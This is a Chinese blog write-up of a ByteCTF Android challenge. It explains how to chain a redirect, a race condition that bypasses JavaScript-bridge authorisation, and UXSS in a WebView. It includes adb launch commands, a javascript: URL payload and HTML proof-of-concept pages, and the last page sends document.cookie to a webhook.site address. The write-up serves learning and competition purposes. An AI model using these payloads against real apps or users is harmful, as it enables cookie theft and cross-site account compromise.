文章搬用请注明原文链接,谢谢!!!!文章搬用请注明原文链接,谢谢!!!!文章搬用请注明原文链接,谢谢!!!!!
前言
周末打了ByteCTF,忙活半天0输出,web做不下去跑去mobile那凑个热闹。jsb这玩意当时实习的时候跟着内部文档学习过,但也只是皮毛,也只是会基本的url层次上的绕过,做这题又重新学了下,也搞了挺久的,可惜比赛是10点结束,flag是10:30才打出来的QAQ。叠个甲,笔者是纯安卓小白,对安卓的很多东西都不是很了解,也是借这题简单学习下,其中的很多东西也只是我自己的理解,可能并不准确。
题目分析
题目给了环境和apk,拖到jadx上简单看下,功能就这些
目标是拿到 m.toutaio.com
域上的flag
首先接受 Intent 的这里对获取到的url进行了判断
uri.getHost() != null && uri.getHost().endsWith("app.toutiao.com")
,满足后才会调用loadUrl
加载题目提供了jsb接口
jsb.base64Decode()
这个java方法向webview页面执行了js代码,这个方法是直接进行的拼接,存在xss,但jsb的调用有鉴权,限制了页面url需满足条件url.startsWith("https://app.toutiao.com/") || url.equals("file:///android_asset/example.html")
重写了
shouldOverrideUrlLoading
方法,当有页面重新加载时会调用这个方法处理,获取其url
查询参数并调用loadUrl
重新加载webview。这里的重新加载也是jsb条件竞争绕过鉴权的关键,后面会细说下。
首先题目肯定不是要去去挖 app.toutiao.com
或者 m.toutiao.com
上的xss的,还是要看jsb这里
第一个点,如果仔细看 AndroidManifest.xml 可以发现添加了 android:usesCleartextTraffic="true"
,也就是说我们可以给http链接,抓包访问下 http://app.toutiao.com/
发现会进行一个307的重定向,并且会携带原来的查询参数
而题目重写的 shouldOverrideUrlLoading
又获取了url
参数,那么第一个点就完成了绕过
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url http://app.toutiao.com/?url=http://xxxxx.com/
现在可以调转到任意页面了,后面就是绕过jsb鉴权在 app.toutiao.com
域上执行任意js代码了
ps: 自己第一时间是想这能不能在url层面上绕过,结果走了弯路,导致远程环境打不通,最后没时间了…….
对于这题来说,如果远程环境没有限制协议,也可以这样绕过,可以在一个 anout:blank
页面上执行任意js代码
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url javascript://app.toutiao.com/%0a%65%76%61%6c%28%61%74%6f%62%28%27%59%57%78%6c%63%6e%51%6f%4a%33%4e%31%59%32%4e%6c%63%33%4d%6e%4b%51%3d%3d%27%29%29
条件竞争绕过JSB鉴权
关于这部分建议先仔细研读下这篇ppt
文中提到的常用鉴权方法有两种
- 基于生命周期的访问控制,从生命周期回调中获取 URL,例如
onPageStarted
、ShouldOverrideUrlLoading
等 - “实时” 访问控制,在 UI线程(一般是主线程)中通过
WebView.getUrl
获取 URL
本题是用的第二钟方法
这里我就不扯什么底层深奥的原理了,直接在线程问题上简单讲讲为什么会造成条件竞争问题
首先看看官方文档对于 addJavascriptInterface 方法的解释,这里提到一个点
JavaScript interacts with Java object on a private, background thread of this WebView. Care is therefore required to maintain thread safety.
js与java方法的交互是在WebView 的私有后台线程上跑的,而我们的 WebView.getUrl
只能是在UI线程中调用
可以看到本题jsb方法也是显示的写了是跑在UI线程上的
看下这个 runOnUiThread
,官方文档提到
Runs the specified action on the UI thread. If the current thread is the UI thread, then the action is executed immediately. If the current thread is not the UI thread, the action is posted to the event queue of the UI thread.
如果当前线程是 UI 线程,则立即执行该操作。如果当前线程不是 UI 线程,则该操作将发布到 UI 线程的事件队列中。
所以这里会有什么问题?
前面提到,js与java方法的交互是在WebView 的私有后台线程上跑的,而我们的 WebView.getUrl
只能是在UI线程中调用。当我们发起多个jsb调用,那么对应的操作就会放在UI 线程的事件队列中排队等待执行。这些操作排队调用WebView.getUrl
,期间若WebView发生了某些改变,这个改变可能会影响到 getUrl
的取值,那很有可能获取到的URL是不一致的。
我们的目的是找到这样一个“改变”,能够使 getUrl
方法获取到的值是修改过的。
这里需要注意的是 shouldOverrideUrlLoading
也是运行在UI线程中的,由网页发起的导航会调用该方法,若其中使用了 WebView.loadUrl
处理进行了浏览器启动的导航,那么就有可能会改变 getUrl
获取到的值
所以这里引出了两个新概念,浏览器启动的导航和渲染启动的导航。
- 浏览器启动的导航是指在
WebView
中直接调用类似loadUrl()
方法加载页面的过程,浏览器导航负责页面请求的发起、URL 的解析、服务器资源的获取等。 - 渲染启动的导航是指用户在
WebView
中点击页面上的链接或者通过 JavaScript、重定向等操作时触发的导航过程,它与浏览器导航不同,导航的起点是 Web 页面内容本身,而不是通过 Java 代码直接调用loadUrl()
。
先来实验验证下,我们准备攻击的js代码
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){alert(location.href)}//`);
}
// 发起大量的jsb调用
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
// 使用浏览器启动的导航,调用了 loadUrl
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>
adb shell am start -n com.example.jsbmaster/.MainActivity -W -e url http://app.toutiao.com/?url=http://xxx.xxx.xxx.xxx:8080/poc.html
可以看到成功绕过鉴权调用了java方法,之后在 app.toutiao.com
域上执行了js代码
好,现在我们尝试另一个poc
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){alert(location.href)}//`);
}
// 发起大量的jsb调用
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
// 使用渲染启动的导航,未调用 loadUrl
location.href = "https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>
结果无事发生,所以能不能条件竞争成功的关键就是看是否是调用了 loadUrl
进行了浏览器启动的导航。所以我们需要的这个“改变”就是这里。
关于原理可以参考ppt
可以通过源码来看
可以理解到,在不同类型的导航过程中,WebView.getUrl
将返回不同的值。当使用浏览器启动的导航时,getUrl
底层返回的是 pending_entry_ ,而使用渲染启动的导航时返回的是GetLastCommittedEntry() 的值
简单来说,就是浏览器启动的导航在一开始就设置了 pending_entry_ ,在getUrl中返回的是 pending_entry_,获取url流程短,可以直接快速的拿到;而渲染启动的导航获取url中间需要处理的就比较多,返回的是 last_committed_entry
,所以就造成了在loadUrl
后,getUrl
可以迅速获取改变后的url,从而绕过jsb鉴权。
好,现在通过上面的分析我们明白了jsb条件竞争绕过鉴权的基本原理,回到题目,根据上文,我们现在是可以里 app.toutiao.com
这个域上执行任意js代码了,但我们的flag是在 m.toutiao.com
上,如何跨域获取flag呢?且看下文分析。
UXSS
UXSS(Universal Cross-Site Scripting) 是一种特殊类型的跨站脚本攻击(XSS),其全称为 **”Universal Cross-Site Scripting”**,通常也被称为 浏览器级别的 XSS。与普通的 XSS 攻击不同,UXSS 攻击的目标并不是单个网站,而是浏览器本身或浏览器中的某些组件。它利用了浏览器中的漏洞来执行恶意脚本,进而影响所有访问该浏览器的用户,而不受限于某个特定的网站。
好,现在我们看下apk中的代码
调用 evaluateJavascript
方法在当前显示页面的上下文中异步执行JavaScript代码,然后这里是直接拼接的外部参数,这不就是UXSS么。
上文中我们已经可以绕过鉴权调用jsb了,调这个jsb可以实现UXSS,现在的问题是如何在 m.toutiao.com
这个域上执行这个jsb。
完整攻击流程如下
这里要注意跳转到 m.toutiao.com 这里要使用渲染启动的导航,因为 getUrl()
值必须是 app.toutiao.com 才能调jsb。后续由于是UXSS,所以完全可以在 m.toutiao.com 域上执行js。
题解
<html></html>
<head>
<script>
function i(){
jsb.base64Decode(`');if(location.href.startsWith("https://app.toutiao.com/")){function i1(){jsb.base64Decode("');if(location.href.startsWith('https://m.toutiao.com/')){location.href='https://webhook.site/ed847c82-7110-497e-9182-f61c45602859?'+document.cookie}//");}setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);setInterval(i1,0);location.href='https://m.toutiao.com/';}//`);
}
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
setInterval(i,0);
location.href = "https://a?url=https://app.toutiao.com/";
</script>
</head>
<body>
<p>JSBMaster</p>
</body>
</html>
题目apk配置允许http访问,直接给远程链接 http://app.toutiao.com/?url=http://xxx.xxx.xxx.xxx:8080/poc0.html
,稍等片刻即可在webhook上收到flag
参考文档
https://chromium.googlesource.com/chromium/src/+/main/docs/navigation_concepts.md